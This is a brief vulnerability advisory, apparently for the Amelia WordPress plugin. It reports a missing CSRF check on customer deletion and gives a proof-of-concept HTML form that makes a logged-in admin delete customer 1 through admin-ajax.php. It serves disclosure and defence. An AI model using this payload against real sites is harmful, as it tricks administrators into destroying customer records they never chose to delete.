The plugin does not have CSRF check in place when deleting customers, which could allow attackers to make a logged in admin delete arbitrary customers via a CSRF attack
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php?action=wpamelia_api&call=/users/customers/delete/1" method="POST">
<input type="submit" value="Submit request" />
</form>
</body>
</html>